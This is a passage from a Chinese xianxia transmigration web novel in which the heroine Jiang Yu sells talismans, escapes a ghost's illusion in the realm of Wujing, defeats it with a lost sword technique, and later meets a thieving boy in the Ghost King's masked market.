姜瑜唇角笑意不变,继续说道:“诸位,寻常符纸或许便宜,可驱不了厉害的邪祟,而我这大家方才也见到了,是实打实的注了灵力进去,两者如何做比?”
话及此,有位身着华服的中年男人挤到前面,上下打量姜瑜:“姑娘,三两便三两,若这符真如你说的灵验,日后我还来寻你。”
姜瑜点头应道:“自然,我以青冥宗苍梧长老的弟子——应不妄的名义担保,此符绝对货真价实。”
8. 鬼魅(三)
其中有见过世面的人惊叹出声:“青冥宗?那可是当今四大宗派之一啊!前几日淮南一剑劈碎妖魔的天才修士不就是青冥宗的吗?”
这话一出,方才那妇人忙挤进来,手里拿着荷包抢道:“那给我也来一张,这般灵验,赠与我那刚出生的侄儿再好不过了。”
人越聚越多,争先抢后的喊着要来一张。
姜瑜脸上的笑就没下去过,“不急不急,过些日子我还会来此售卖的。”
不过半柱香的功夫,她手上的符纸就见了底,腰间的荷包却鼓鼓囊囊的晃出银钱清脆的碰撞声。
待人群散了去,姜瑜走向不远处靠着树干的应不妄,颠了颠腰间的荷包:“没想到你小子还挺上道。”
“以青冥宗苍梧长老弟子,应不妄的名义担保?”应不妄掀开眼皮,懒懒的瞥向姜瑜。
姜瑜干笑几声,开口时眉眼弯弯,试图解释:“本师姐的名义与师弟的比,能值得几个钱?”
应不妄看着她狡黠的目光,沉默片刻,忽然伸手从她荷包里摸出枚碎银,转身就往旁边的糖葫贩边走。
“诶!你干嘛?”姜瑜追上去。
“既然用了我的名头,总得给点好处不是?”他头也不回,声音却不自觉的上扬,“糖葫芦,来两串。”
姜瑜一瘸一拐的追上时,他站在那里,身形清瘦挺拔,阳光落在发梢泛着金色,方才那点似有若无的疏离竟淡了许多。
她几步跟上去,微挑眉梢:“没想到啊,你居然喜欢吃甜的。”
“小时候见同龄的人吃着香甜,那时没机会能尝上一口...”应不妄身型一顿,开口声音极清,看向她时,眼底闪过一丝别样的情绪,更像是勾起了他并不太好的回忆。
姜瑜一怔。
坏了,她差点忘了,作为男配的他小时候过的并不好,这也是为什么他少时被女主所救,便将女主当做一世的白月光,永不背叛,誓死追随。
姜瑜没搭话,应不妄自顾自的递过来一串,带着惯常的笑意:“不过后来我遇见一个人,她会给我买我吃不到的糖葫芦,她...”
“待我极好。”
不怕男二坏,就怕男二帅。
姜瑜叹了口气,接过他递来的糖葫芦,再抬眼时闪过一丝怜悯:“以后师姐赚了钱,天天给你买糖葫芦,可好?”
“一言为定?”
“一言为定。”
两人并肩往客栈去时,影子被夕阳拉得长,交叠于一处,更像是谁包裹着谁。
只是姜瑜不知道,她的可怜师弟此刻低顺着眼睫,心事重重。
翌日,姜瑜难得早起调理了一下内息,出门带了两串糖葫芦和一份糕点。
她决定要趁她这个可怜师弟受情伤之前,对他好些。
“西厢那个客人?他一早就走了。”客栈小厮肩头搭着块抹布,拧眉回忆:“哦对,他还留了一份信,说若有姑娘找他,便转交于你。”
“信?”姜瑜伸手接过——那是一张折得方方正正的纸条,上面用娟秀的小楷写着“师姐亲启”四个字,笔锋清秀,字迹工整。
“师姐,见字如面,当你展开这封信的时候想必已是晌午。正如我曾在山下所言,此次出山,我确有任务在身,这鬼魅王生性狡猾,做尽恶事、为祸一方,身为青冥宗苍梧长老的亲传弟子,我必须将其斩除。
上次师姐追问我之事,犹豫再三,还是想将其告知于你,这鬼魅识其记忆,以人心最脆弱之处为诱,并非轻易之燎。当然,若师姐能像我这般心中无惑,无悔,无歉,亦可将其斩杀。
师姐在且沧南调理身心,等我处理完这些自会去寻你,勿念。”
“什么嘛。”姜瑜不自然地别过脸,指尖无意识地将那张纸上的边角捏得微微发皱,“写的跟遗书似的。”
像她这种共情能力强的小女孩,看完这种,就整的怪感人的。
姜瑜猛地吸了吸鼻子,将纸丢到一边,转身便掀开被子躺回床上。
那咋了,反正原书里应不妄又死不了。
她要是上赶着去找死,说不准就真死那了。
当务之急还是好好提升自己修为,然后好好走完剧情滚蛋。
*
“店小二,麻烦来两件上房。”熟悉的声音隔着半开的窗棂飘进来,传进姜瑜耳内,她一时间竟没能想起这是谁。
自从穿书来到这里后,姜瑜发觉原主体质特殊,虽然灵根废柴,但她的听力总是异于常人,格外出奇。
木廊里传来店小二殷勤的应和声,紧接着便是经过她门前的脚步声,直到在二楼尽头停住,伴随着房门被推开的轻响,便再没了声音。
姜瑜好奇起身,虽然此刻心里有了想法,但还是不太确定。
距离主角团来到沧南,至少还得有个半月的时间,总不能是系统为了让她早点回去,推进了剧情吧???
姜瑜起身推开房门,廊下的风带着些微凉意拂过脸颊。
她缓步走到二楼转角,正巧撞见店小二端着铜盆往上走,见了她便笑着点头:“姑娘下来透气?”
“嗯。”姜瑜指尖在廊柱上轻轻点了点,看似漫不经心地扫过去:“店里新来了客?”
“哦,姑娘说他们啊。”店小二应着,摇了摇头:“刚住进来的那两位客官不知道是哪里来的修士,光看着就气度不凡,看来沧南过些日子可就不太平咯。”
“何出此言?”姜瑜疑惑问道。
“姑娘有所不知,”店小二左右看看,凑近压低声线道:
“这凡是到了哪里,都有一个不成文的规矩,修士越多的地方,那妖魔鬼煞自是不会少,就连那些正道宗派建到哪座山上都是有说法的,说是镇压妖邪,防止他们出来作乱。”
姜瑜心头微动,原书里虽未细说这些,但偶尔提及宗门山下偶有邪祟作乱,此刻听店小二说着,倒解释了原书中男主为什么在自家山下都能触发机遇这种事。
“谢了。”姜瑜随手甩给店小二几两碎银,顺着木梯走出客栈。
店小二接住碎银,瞬间眉开眼笑,忙不迭
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地挥手相送:“姑娘慢走,有事尽管吩咐小的!
姜瑜没回头,走出客栈后,果不其然——街上已然开始有几个身着宗门服饰的年轻修士正围着个摊位挑选符箓了。
姜瑜不满的小哼一声,这些小修士消息倒是灵通的很。
她抬头望了眼远处的沧南山脉,云雾在山尖缠绕,指尖无意识地摩挲着袖中早就画好的符箓——
那是她从应不妄身上那宝贝丹囊中顺手拿的毒丹,照葫芦画瓢得将先前那纸符画了下来。
姜瑜沿指尖拂过腕间,那里是因上次灵力紊乱留下的青色印记,如今早已褪去。
这具身体的底子确实在慢慢好转,至少不再像刚穿来时那样,走几步路浑身酸痛,夜里也不会总被经脉刺痛惊醒。
现下她的身子早已恢复的大差不差了,只不过修为无论如何修习,依旧停滞不前。
好机遇,男主能遇得。
她姜瑜又有何遇不得?
姜瑜打定主意,脚步转向街尾,那里是通往沧南山脚的路。
路上过老槐树下时,她听着修士呦呵的非常卖力,便驻足拿起一件看了看,那修士见状,便就开始夸大其词,说他这个法器多么多么厉害,还就只需注入一小成灵力就可赶走妖魔鬼煞。
关键是那修士还夸她长的漂亮秀气!
姜瑜听着高兴就买了。
一来是这个法器属实便宜,二来这个法器长的丑萌丑萌的,她喜欢。
而且哪修士信誓旦旦的样子,怎么着关键时刻也能管点用吧?
*
果不其然,姜瑜刚到了山脚下,再往前走就觉心口一闷,自己的修为貌似被某种莫名的力道压着,她下意识运转体内内息,却毫无波澜。
一般宗门山脚深处都是禁地,禁地往往布着重重阵法,沧南一派虽不是什么名宗望派,但至少也是维护一地的正道宗派。
她如今修为被压制,连最基础的破阵符箓都引不出来,若硬闯还真不一定能进的去。
且不说进去之后用不得术法,里面危险重重,一不留神说不定还会凭白丢了性命。
“算了,”姜瑜往后退了半步,耸肩撇嘴道:“犯不着冒这个险。”
有些东西就该是主角的。
她这个十八线小配角还是老老实实地走无脑剧情吧。
姜瑜刚转过身,准备往回走,她突然听到身后传来细细碎碎的声音。
还没等她转身查看,一截碗口粗的暗绿色藤蔓已猛地从身后缠上她的腰,那藤表布满细小的绿刺,一收紧便深深嵌进衣料,刺得生疼。
姜瑜被吓到,刚想调动灵力挣脱,奈何丹田处仍调不出半分灵力,指尖连半分灵光都聚不出来。
她只能任由那藤将她卷入丛林深处,经历古树的摩擦,在失去意识之前她将应不妄留得最后一张传讯符丢了出去。
在这种处处被压制的地方,传讯符能到应不妄手上的几率虽然很小,但好过没有。
因为姜瑜真的感觉她要死翘翘了。
9. 鬼魅(四)
睁开眼时,先前卷她进入这密林的藤蔓已然不见了,视线所达尽是交错的枯树,天湖色的糯裙在腰间的位置染上了一层褐红,姜瑜双手撑地,颤颤巍巍的爬了起来。
她忍着剧痛在脑中拼命的呼喊系统。
姜瑜:系统,我现在好像有点死了。
[检测到宿主失血过多,是否需要开启免痛功能?]
“都什么时候了,再不开就真的死透了!”姜瑜抱怨。
[免痛功能已激活,即将屏蔽90%痛感神经,祝宿主玩的愉快!]
姜瑜:……谢谢你。
启动免疫功能后,姜瑜瞬间感觉腰间的伤口没有先前那般刺痛了,只略微带着一丝麻木。
她扶着一旁的枯木,从身上扯了一条衣料,给自己做了个简单的包扎——
虽屏蔽了痛觉,但自己的身体确实在流血,她可不想失血过多而倒在这。
当姜瑜做好这一系事情后,她察觉到周围静得可怕,除了在枯木林中偶有扯着嗓子叫唤的鸦兽声外,只有风穿过密林时发出的呜咽声。
往前走了几步,一股凉意从脚踝处只冲脑门,低头一看,是比刚才细细了数倍的藤蔓模样的绿丝缠绕于她的脚踝处。
姜瑜眉头紧锁,抬脚甩了甩,没甩开。
更要命的是,这丝线更像是一种针管,貌似在不断汲取着姜瑜丹田深处的灵力,邪门的很。
察觉到灵力外泄后,姜瑜忙不跌地将脚踝处的丝线扯了下来,可紧着愈来愈多的绿丝像蛇一般从四面爬来。
她被吓得忙后腿几步,撞到了身后的枯树上,力道不大,却振得枯树晃了几许。
“这是什么鬼地方?”姜瑜试图从系统那里唤回一丝良知,洋装镇定的问着。殊不知她额角处已然布满了薄薄细汗。
这些小藤莫不是要将她吸干不成?
姜瑜抖了抖身上的符纸,翻出先前从未真正试验过的新型毒符,她费力得从指尖凝处一小聚灵力。
随着指尖灵力相聚,符纸在空中缓缓升起,同时猛地向外迸发出一股黑气,霎那间毒物四散,绿藤瞬间与一旁的枯木融为一景,萎蔫了下去。
“我何时这么厉害了?”姜瑜抬手望向自己的双手。
她也没聚出来多少灵力啊。
也顾不得多想,既然都来到了这里,一时半会也出不去,倒不如往前走走看。
姜瑜指尖一点,手中瞬时出现莹莹微光,像数十指萤火虫,向前探着路。
许是方才她以一己之力摧毁了一片小藤的缘故,一路上畅通无阻,就是见了小藤,还没等姜瑜出手,就自觉的缩了回去。
姜瑜冷哼一声,看来这群小藤还是个恃强凌弱的胆小鬼。
*
再往深处去,就出现一个洞口,那口及小,若是个成年男子想进去,还麻烦的很,需侧身低头进去。
但姜瑜她不是成年男子。
而且她身形本就纤细,倒也不必像成年男子那般费力。
只是洞口矮仄,她还是下意识地收了收肩,微微弓起背,将身子侧成一道窄缝,小心翼翼地往里挪。
这洞及长,越往里走越是宽敞,姜瑜挪了半晌,才终于得空喘口气。
不远处的墙壁与进来时大不相同,这里倒更像是被人细细打磨过似的,壁上貌似还刻着画。
姜瑜借着微弱的光亮看过去,上面绘了一些功法样式,虽画得有些隐晦难懂,但也不难看出大致轮廓。
随着荧光闪烁,她惊觉下方还画了写字样:“修行之道,未必尽仗丹田灵根。若己身根基稳固,亦可参天地自然之馈,悟其剑道玄机,皆为途也。”
“参天地自然之馈,悟其剑道玄机?”姜瑜抚上壁上字样,嘴里嘟囔重复着,皱眉思索片刻之际,身侧忽然吹起一阵腥风。
姜瑜惊觉转身,身后靠墙处的石头豁然变成一副胖硕大人模样,高出她数倍,几近撑满整个洞。
侧身一躲,她避开了砸来的石块。
这洞及窄,姜瑜没有施展空间,方才她便觉得那一块石块堆的及其诡异,留意了几许。
当石妖再次扑砸向她时,她不避不闪,往后一仰,顺势拔起头上挽发的银簪,手掌在地上一撑,借着地面的力道,直直插向石妖眼眶。
玉簪没柄而入,石妖动作猛地僵住,石屑从眼眶簌簌落下,庞大身躯晃了晃,轰然砸在地上,化作一地碎石。
“第一次见妖怪将破绽露出来这么明显的。”姜瑜拍了拍手,打掉裙摆处沾染的灰,看着眼前一记碎石,不由得感叹,“没想到你们魔兽一族还有蠢魔。”
姜瑜甩去簪尖残留的石粉,还未待她将其重新绾回发间,洞口处碎石便开始左右振动,手上一抖,簪子掉落在地上发出清响。
糟了,要塌。
若要原路走回,那窄细洞口,许是还未走出,就被石块压了下去。
她只能硬着头皮往前走,脚下忽然一颠,像是被什么东西绊了一跤。
还未待她回头看去,一阵刺目的白光便迎面而来,晃得她眼睛生疼,下意识抬起胳膊挡在眼前。
等那阵眩晕感稍稍褪去,她才缓缓放下小臂,睁眼时彻底怔住了。
周遭景色全然变了样式,刚才狭窄幽暗的洞穴踪迹全无,取而代之的是满眼的浓绿——
参天古木枝繁叶茂,阳光透过叶隙筛下来,照在地上斑斑点点,空气中无不弥漫着草木的清香和湿润的泥土气息。
视线往前移,不远处立着一间朴素简雅的木屋,屋顶盖着厚厚的草垛,木栏围起的小院里随意放着些农具。屋后则有一条蜿蜒的小河流淌着清泉。
姜瑜不由惊叹,她莫不是闯入了哪里的世外桃源?
“瑜儿!”
一个身着粗布短打的中年男子迈步出来,手里握着柄沾了些血污的猎刀,他看见姜瑜,脸上立刻堆起憨厚的笑,扬着手里的刀冲她使劲挥手:
“快来瞧!今儿个运气好,爹猎着只稀罕物,晚上给你炖锅好汤,保准你尝个鲜!”
爹?
他是原主的爹?
姜瑜见男子并无恶意,便卸下提防走了过去。
见姜瑜
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走近,那男子忙将屋内的兔子甩到她跟前,眼底笑意不减:“怎么样,够不够肥?”
“……”
“瑜儿你说爹是将它炖了呢,还是烤了呢?”
“爹还是觉着烤了好吃。”
……
王右武也没管姜瑜有没有回应她,只自顾自的忙前瞻后地去准备膳食。
姜瑜在原地站着,不知该作何行动。
等王右武将桌上摆齐了菜,喊她过去时,她才动了动身,坐到了那屋间小院内。
她不知为何会突然来到这里。
但若他是原主姜瑜的爹...那未尝不可多待一会。
姜瑜坐到桌前,王右武顺势往他碗里夹了一口肉,笑盈盈地看着她,“好瑜儿,在宗内过的苦吧?”
姜瑜扯起一抹从容的笑意,答道:“还好。”
“好什么好!?你看你都瘦了,多吃些,爹这里还有很多。”王右武心疼的眼神都要溺出来。
姜瑜笑着,她这么一遭下来确实又累又饿,便也没多想,顺势夹了一道菜,填进口中。
咽下后,姜瑜微蹙眉毛,味道好生奇怪。
“怎么?是爹做的不合瑜儿胃口?”
“没有。”姜瑜摇头,强忍着奇怪的味道,扯起一抹笑意,“比往前的都好吃。”
“瑜儿啊,爹知道你在那边受了很多苦,爹都看在眼里,记在心里,不如你此次便留下,陪着我这个老不死的,一起种种菜园,打打野兔,与爹爹一同安享晚年,这样可好?”
“好啊。”
“那瑜儿...”王右武犹豫再三,从袖口中掏出一枚闪着发光的绿石,开口言道,“瑜儿只需将灵力尽数注入此石内,即可成为爹这样的普通人,瑜儿也不必再去修习那些令人头疼的东西了。”
“好……啊。”姜瑜嘴间扯起一抹笑意,伸出手准备接住那绿色荧石时,突然手腕一转,竟直直调转了方向,手中幻化出来一纸符,指尖聚集灵气,直击向对面的王右武。
只见那“王右武”痛苦的呻吟哀嚎,随着他慢慢化成一团黑雾,周遭的景致像是施了咒法,突然黯淡下去,周遭的参木瞬间幻成枯木,就连门前的木屋也变得破败不堪。
那团黑雾厉声嘶豪,恼羞成怒:“凡是到了无境的人,不可能会有人走的出我的幻境!你又是如何察觉的!!”
姜瑜冷哼一声,唇齿轻启:“如此拙劣计量,三岁孩童都辨得出。”
她是姜瑜不错,但她可不是《诛魔》里的姜瑜。
“王右武”是原主姜瑜的心结,他本是收养原主的养父,后来原主被她亲爹找到后,便靠着她亲爹的代掌门一职,入了青冥宗成为了苍梧门下的大师姐,此后两人再没有了联系。
再后来,再度传进原主耳中的,便是王右武被魔所屠的噩耗。
这也是为什么虽然原主灵根不稳,但依旧不放弃,没日没夜的刻苦修炼。
她想报仇。
离开王右武,是她此生做的最错误的决定。以至于在此后无数个日夜里,原主都恨不得回到那天...
10. 鬼魅(五)
那团黑雾恼羞成怒,旋即化作人形模样,直冲姜瑜。
姜瑜则从荷包中取出数十张符,两指尖聚起灵力,符纸悬于空中,随后迎面迎上那团黑雾的猛攻。
在黑雾与符咒盘旋之际,她借时抽出一纸屏障符,就地盘腿而坐,调动丹田内所能调出的微弱灵力。
“参天地自然之馈,悟其剑道玄机。”
姜瑜闭紧双眼,回忆着方才洞中的招式,试图将身心聚于自然之气,感受着丹田内那缕微弱的灵力在体内流动,顺着经脉缓缓淌过四肢百骸。
伴随着四面八方飘来的几丝散发着微弱金丝的灵气,缓缓涌入姜瑜体内,顺着她的静脉游若,带着酥麻又舒畅的暖意与她本身的灵力聚为一体。
姜瑜猛地睁开双眼,手掌一撑,在空中翻涌起身,再落地时手中握着一柄晶莹剔透的寒光长剑。
那黑雾看愣了眼,几近不可思议的瞪大了双眼:“这剑法不是早就失传了吗!?你又是从何处练得?”
姜瑜冷哼一声,声音清冷却又带有几分威严,开口道:“不如你猜猜?”
她掀了掀眼皮,抬眼望向面前那团黑雾,轻扯嘴角,“传闻鬼魅从无真实形貌,擅长布人于幻境之中,并借机食其心智与修为。”
“看来,你就是传闻的鬼魅了吧?”
“你究竟是谁?”话落,黑雾猛地炸开,化作无数扭曲的鬼影,尖啸着从四面八方扑向姜瑜。
那些鬼影没有固定形态,所触之处,连地面都泛起焦黑的腐蚀。
姜瑜挽起手中的寒光长剑,借着自然灵力,寒光过处,扑在最前的鬼影被斩成两段。
未等鬼魅反应的机会,姜瑜手腕翻转,剑尖陡然迸出三寸金芒,被寒光长剑所砍之处的黑影,便无法再次融合。
“我是收你来的。”姜瑜嘲讽,见黑团数目太多,继续争斗只会引来更多的鬼魅影,必须速战速决。
随后她掌心符纸应声飞出,在半空化作一道屏障,隔开外界,而后她唇齿轻启,默念了几道咒术,随后她将长剑抛出,悬于空中,将灵气尽数聚于剑中。
只听一片凄厉的惨叫,大半鬼影在金光中消融,仅剩的几道也萎靡下去,重新凝聚成黑雾时,却比之前稀少了大半。
黑雾显然被激怒了,猛地收缩成一团,抱着同归于尽的气势狠狠砸向姜瑜。
姜瑜侧身躲过,随后握起手中的寒光长剑,聚全身之灵气猛地刺向鬼魅背身。
最后一缕黑雾消散时,姜瑜立于地上,随着长剑消散于空中,她的额角上也布满了细细的薄汗。
姜瑜喉间猛地一腥,大口猩红撒于地上,几滴血珠溅上了她的天湖色糯裙摆。
她垂下眼,看着地上那滩刺目的红,随意的擦了擦嘴角的鲜血,捡起地上的一根枯木枝,将一头乌黑的散发尽数挽起。
她此时已然身心俱疲,将就靠着一旁的枯树盘腿而坐,调整内息。
若未猜错,这里便是书中鬼魅的积聚地——无境。
应不妄大抵也在这儿。
现下她丹田灵力被强行调动,经脉郁结,一时半会也无法动身去找他,只能暂歇在此,寄希望于方才的传讯符上。
*
收回最后一律气丝时,天色已然沉昏,黑布隆冬地更像是无敌黑洞。
姜瑜撑起身子,两指头捏起符决,甩向一旁的残木,瞬间升起了堆堆烈火。
周遭景致虽假,但屋后溪流却是真的,她将外袍褪去,在溪中过了一遍身上溅到地腥红,溪间瞬间染红了大片。
因着姜瑜开了免痛模式,她终是不知自己伤的有多严重,只觉眼皮昏沉沉地来回打架,身子也虚弱了不少。
她将外袍搭在一旁,从破败的木屋内找了一把趁手的防身短剑后,便坐在火堆前暖上了身子。
姜瑜手中紧紧握着那柄防身的短剑,头脑昏沉,身子一软,再就没了意识。
……
“师姐?”
“师姐你醒醒。”
“怎么这么烫?”
姜瑜听着熟悉的声音,嘴里嘟囔着,想睁开眼瞧瞧,透过朦胧视线,她隐约看见了应不妄那张熟悉的脸。
数不尽的委屈缠绕于心间,泪水打湿了眼眶,在见到应不妄的那一刻,不争气的落了下来。
姜瑜小声呜咽着,问他为何来的这么晚,嘟嘟囔囔着说道着,责怪着。
当身子被打横抱起时,她突然本能的反应,手中用力向身前刺去,换来的却是对方闷哼一声和嫌弃的口吻。
具体说了什么,她听不清。
她当是在做梦,或是临死前的幻想,亦或是其他鬼魅的幻境,此地并非无境的中心,如此偏僻,应不妄怎么能,又如何能找到她?
*
姜瑜醒来是被口舌间的苦涩味苦醒的。
当苦涩充斥着姜瑜喉间时,她猛地一咳,从床上坐起,将那些刚灌入口中的汤药尽数咳了出来。
睁开眼,入目便是应不妄一张精致白皙的脸上带满了不耐烦。
应不妄端着汤碗,又气又笑,“先前喂你那么多汤药,你都未曾喝下去,今日我好不容易喂进两口,你倒好,又给我咳出来了。”
姜瑜脸上还带着刚醒的茫然,眼神发怔,好半天才找回自己的声音,哑着嗓子问:“师弟?你怎么在这?”
应不妄挑眉看她,觉得好笑,便起了逗她的心思:“那不然呢,我还能在哪?”
姜瑜这才低头打量自己,素白色的衣襟上还沾着方才吐出的药渍,触手是柔软的被褥,她猛地抬眼看向应不妄,眉头紧锁
“我不是死了吗?你又是怎么死的?”
“……”
空气中一阵寂静。
应不妄将事情的来龙去脉简单的于她理清之后,姜瑜眉头紧缩:“所以,是你顺着传讯符找来的我?”
“对。”
“那晚是你将我打抱起身的。”
“嗯,当时你留了那么多的血,身上发着高热,我都要给你准备后事了,没想到还能活过来。”应不妄玩笑道。
“我...”姜瑜没顺着他的话,停顿片刻,犹豫问道:“是不是
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捅了你一刀?”
“那倒没有”应不妄嘴硬,顺势将汤药递给姜瑜,起身背靠着她,“就我这般身手,还能真被你伤到不成?”
“我的衣服...”姜瑜抖了抖身上的糯白色中衣,开口问:“是你给我换的?”
“你怎么这么多问题?”应不妄突然不耐烦,耳尖点起了一抹红,此刻他背靠着姜瑜,看不出神情。
“哦。”姜瑜洋装不在意的掀开被褥,盘腿而坐,顺势喝了一口哭的发涩的汤药,“我能再问最后一个问题吗?”
“什么?”应不妄侧身听着。
“这里是哪里?”
“无境内市,此地由鬼魅王一族管辖,外面鱼龙混杂,这里的人都不以真面貌示人,师姐若想出门透气,需得戴上面具掩住面容...面具在桌上,但还是建议师姐不要乱跑。”
姜瑜握着药碗的手顿了顿,目光扫过桌上那枚乌木面具,边缘雕刻着繁复的鱼龙云纹。
她仰头将碗底最后一口药汁饮尽,苦涩顺着喉咙进到了胃里,倒是让她那混沌的脑子清醒了几分。
“无境内市……”她低声重复着,指尖无意识摩挲着碗沿,“还会有人住这里吗?”
应不妄叹了口气,转身时脸上的颊红褪去半分,他接过姜瑜递来的空碗,搁在案上,
“此地是鬼魅王设下的交易场,凡入内者需守他定下的规矩,不得在市中私斗,不得强行窥探他人真容,亦不得以真容示众。违者,会被直接丢去喂外面还未成形的鬼魅。”
他顿了顿,侧眸看向她,“这里虽由鬼魅管辖,却比外面那些残废屋舍安全得多。”
姜瑜撇嘴,“这里灵力被禁锢着,你又准备如何对鬼魅王下手?”
应不妄指尖叩了叩桌面,目光落在窗外:“鬼魅王为了便于对无境的管辖,便用自身本源炼化了一种名为‘龙文玉’的东西,持此玉者可调动少许灵力,多数是帮鬼魅王掌管这里的鬼魅一族。”
他顿了顿,不知何时手便多了一枚暗紫色的玉佩,玉佩上盘踞着龙形纹路:“我在此潜伏多日,才赢得这一枚,虽只能支撑些微灵力运转,但对付鬼魅王足矣。”
“市中每晚亥时会集中交易,那里交易的不只有法器丹药,还有各路人马的消息。”应不妄抬眼看向姜瑜,唇角勾起一抹浅淡的弧度。
“你要在鬼魅王的地盘,打探鬼魅王的消息?”姜瑜觉得好笑,蹙眉看向他,眼神里闪过一丝不可思议。
这师弟是不是脑子有点什么毛病?
“戴着面具,不以真容示人,只要敢买,就没有不卖的。”应不妄伸手将那枚面具推到她面前,“面具记得带上。”
姜瑜指尖搭上面具,她掀起唇角勾出一抹笑意:“师弟都这样说了,那我不得不随你一同去会会那鬼魅王了。”
她还将面具拿起,在脸上比划着,隔着面具,她冲应不妄笑着。
应不妄皱眉,“此地的鬼魅不止靠吞噬灵力为生,更喜吸食生人精气,尤其是修士的魂魄。师姐灵力被压制着,劝你还是不要去添乱的好。”
11. 鬼魅(六)
“那好,我在这里等你。”姜瑜眉毛稍挑,将面具拿开,伸手将桌上的蜜饯塞进嘴里,“万事小心。”
说真的,她也不是很想想去掺和。
应不妄看着她将蜜饯塞进嘴里,嘴角微微上扬,心情不错:“区区金丹鬼魅,倒也不值得师姐亲自动手。”
“你有几分把握?”尽管姜瑜知道他不会有事,但也难免有所顾虑,她毕竟也算是见识过无境内鬼魅的厉害。
更何况那是掌管着整个无境的鬼魅王。
“一成灵力的话……大概有七八分把握。”应不妄假装思索,眉眼弯弯,“师姐这是在担心我?”
“……”
亥时,无境内市刚刚热闹起来,应不妄出门不过才半个时辰,姜瑜却没了睡意。
许是白日睡得太久,此刻她躺在床上左右翻身睡不着,她索性从床上坐起,盘腿调息,细细感受着周身流转的微弱灵力。
天地灵气,存在两种,一种则凝于丹田之中,为人所调用。另一种则孕于自然,无处不在,为万物所滋养。
姜瑜此前与鬼魅一战,用的是第二种。
无境市坐落于苍南派之下,灵力自然比不过山上充沛,却足以让她这个初学者调用了。
灵力在姜瑜指间似有若无地缠绕,她望着窗外市声渐浓的方向,想到了什么,忽然轻轻叹了口气,也不知应不妄有没有买到鬼魅王的消息。
桌上的面具被人拿走,姜瑜漫步于灯火阑珊的街市之中,与带着各种奇形怪状面具的修士们擦肩而过。
转置街角,只听细微的磕碰和谩骂声传入耳中,也只有她听得见。
循着声音寻去,姜瑜贴在墙角。
“就是你小子偷了你爹的东西不认账是吧?”男人声音粗旷,带着黑白相间的游龙面具,龙角翘得扎眼,瞧着格外瘆人。
“什么你的东西?上面写你名儿了吗?”少年嘴硬,嗓音沙哑,“我还说这是我娘的呢,听这话你信吗?”
“嘿!反了你了!”粗旷男人狠狠粹了一口,抬手往身后一挥,“都愣着干什么?兄弟们给我打!狠狠的打!!打到他叫爹求饶为止!”
数名高壮男人挥舞着木棍往少年身上砸去。
……还是不要掺和别人的私人恩怨了。
姜瑜抬脚刚要走却听身后少年话锋一转,不知用了多大力道才爬至身后抱住她的裙摆,只听他说道:“姐姐,你就任由他们这样欺负我们吗?”
姜瑜:?
谁、欺、负、谁?
“这可是娘亲留给我们在这世间唯一的念想啊!姐姐难道真的忍心放任不管吗?”少年越说越起劲,也顾不得他嗓音的沙哑难受,只大声哭喊着引来众多人围观。
粗旷男人见状也不等姜瑜开口,抬手指着他们二人,骂道:“他娘的,既然这俩崽子一块的,那就给老子一块揍!”
姜瑜:……不要脸。
木棍朝姜瑜挥舞而来,她并未回头,袖内的指尖悄然凝起一股灵力朝身后打去,风声骤起,最先动手的汉子竟直接被击退数丈远,摔在地上疼得嗷嗷直叫。
戴游龙面具的粗汉一愣,猛地转头看向姜瑜:“你究竟是什么人!?”
“在无境内,用得上灵力的人。”姜瑜冷声直言,开口说道:“还需要我来提醒你吗?”
粗汉一听,像是突然想到了什么,扑通一声,双膝跪倒在地:“是小的有眼不识泰山冲撞了鬼魅大人!还望鬼魅大人饶小人一命。”
姜瑜没回话,任由他们几行人跪在地上,她蹲下身子,看向少年握着裙摆的手:
“听说我的好‘弟弟’偷了你们的东西?”她故意加重了“弟弟”二字,不仅是要说给那些大汉们,也是说给面前这位带着面具的少年。
“没、没有。”大汉磕绊道,“那东西本来就是令弟的,哪、哪有偷这一说。”
周边粗汉连忙附和。
“那我现在带弟弟走,诸位可有意见?”姜瑜问。
“没意见、没意见!”
*
“本来不想太过招摇的。”姜瑜随意的靠在门框边上,“现在人都知道我是鬼魅王的狗了,你准备怎么赔偿我?我的好、弟、弟?”
坐在桌前正往手腕擦药的方知有一脸无奈:“你本来就是啊,怎么好意思要赔偿的?”
说完他还不满的嘟囔补充道:“本来想拉个垫背的,早知道你是那玩意的狗,我宁可被打死。”
姜瑜被气笑:“看来你还挺痛恨鬼魅一族?”
“若非迫不得已,这种鸟不拉屎的地方,我到死都不会来。”方知有抱怨。
“你还迫不得已、身不由己上了。”姜瑜走上前,拿走他手上的药膏,“倒不如先想想现下的处境?”
“你不怕我将你喂给林外那些鬼魅?”
“……”方知有沉默片刻,抬眼时已然一副可怜巴巴的模样,“姐姐...”
瞧着这变脸速度,姜瑜被他逗笑,手下却悄然凝出一缕灵力朝方知有身后击去。
方知有下意识以灵力格挡,反应过来想收回时抬眼,恰好撞进姜瑜带笑的眼眸里。
“我果然没猜错。”姜瑜拍拍手掌,抚了抚衣裙,坐在方知有对面,“你偷的东西叫龙文玉吧?”
“……”
“那我再猜猜你拿这龙纹玉打算用来来干什么?”姜瑜为自己斟了一杯茶,杯到嘴边顿住,却又放下,“杀人?”
方知有身型一顿。
姜瑜嘴角含笑:“准确来说,是杀鬼魅王。”
“我到是没想到鬼魅王所掌管的无境内,居然有这么多想杀他的人。”姜瑜自顾自说着,手指不自觉的扣响桌面。
在姜瑜赶到之前,方知有本想着趁没人将那群壮汉尽数杀灭的,不曾想在墙角竟看到一抹天湖转瞬即逝,转念间便有了新的坏主意。
本着凡是有本事入这无境的人即便没有灵力傍身,多少也会有些保命的玩意。
意料之外的意料之中。
她是鬼魅王的狗。
“既然你都知道了。”方知有抬手凝起一抹灵力,再抬眼时眼中的情绪已消了大半,“那我也没什么好说的了。”
灵气刚被聚起,却又被无形之中的力量散落开来,方知有还未来得及查清缘故,双手却被一道灵气
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所禁锢住。
“小小年纪,怎么一点就燃。”姜瑜坐在她面前,单手拄着头,眉眼弯弯,“你倒不如来猜猜看,像姐姐这样心地善良的女子,又是什么人呢?”
“你不是鬼魅王的狗吗?”方知有别过头不去看她。
“那是我吹牛的。”姜瑜低垂着眼,在桌上用指尖蘸取了茶水,画起圈来,“我身上又没有龙文玉。”
方知有拧眉看向她:“你……”
姜瑜饶有兴趣地着看回方知有。
“你是鬼魅王?”
……
姜瑜轻咳一声:“那倒不是。”
“我不信。”方知有眉头拧的更紧了,满脸‘你别看我是个小孩但我什么都知道你不要骗我我不是傻子’的表情,“你能用灵力。”
“你也能用灵力。”
“我有龙文玉。”
“哦。”姜瑜满意的看着桌上用茶水蘸取画好之后的猪头,“那你是鬼魅王的狗。”
方知有:“……”
你知不知道你说这句话很冒昧。
